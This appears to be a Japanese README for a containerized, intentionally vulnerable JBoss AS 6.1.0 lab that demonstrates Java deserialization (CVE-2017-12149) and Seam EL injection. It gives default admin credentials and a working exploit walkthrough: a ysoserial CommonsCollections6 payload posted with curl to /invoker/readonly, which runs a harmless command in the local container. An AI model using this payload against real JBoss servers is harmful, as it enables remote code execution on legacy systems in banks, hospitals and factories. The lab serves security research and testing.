
コンテナ化されたJBoss AS 6.1.0の研究ラボ。Java Deserialization(CVE-2017-12149)およびJBoss Seam EL Injectionの脆弱性を実証し、事前設定されたエクスプロイト検証手順を備えています。
多くの重要産業(銀行、医療、製造業)は、JBoss 5 または 6 専用に構築されたレガシーミドルウェアに依存しています。これらのアプリケーションは、多くの場合、WildFly(JBossの後継)の最新バージョンへの移行には脆弱すぎるため、組織はパッチを適用する代わりに「エアギャップ」を設けたり、VPNの背後に隠したりすることを選択します。そのような境界防御が失敗すると、脆弱性はそのまま生存し、パッチ未適用のまま残ります。
このリポジトリは、セキュリティ研究と脆弱性検証のために特別に構成された、コンテナ化されたJBoss Application Server 6.1.0環境を提供します。Java Deserialization および JBoss Seam EL Injection の欠陥を実証するように設計されています。
カスタム認証情報と設定が正しく適用されるように、コンテナをスクラッチからビルドします。
docker-compose build --no-cache
docker-compose up -d
JBoss Console: http://localhost:8080/admin-console/
ユーザー名: admin
パスワード: admin
確認済みの脆弱性
この環境で最も信頼性の高い攻撃経路は、/invoker/readonly にある HTTPServerILServlet 経由です。
検証手順:
ysoserial を使用してペイロードを生成し、/tmp にファイルを作成します。
java -jar ysoserial-all.jar CommonsCollections6 "touch /tmp/pwned" > poc.ser
curl を使用してバイナリペイロードを送信します。
curl -v -X POST --data-binary @poc.ser http://localhost:8080/invoker/readonly
エクスプロイトが成功したことを確認します。
docker exec -it jboss-custom-lab ls /tmp/pwned
セキュリティに関する免責事項 この環境は意図的に脆弱になっています。パッチ未適用のサポート終了ソフトウェアが含まれています。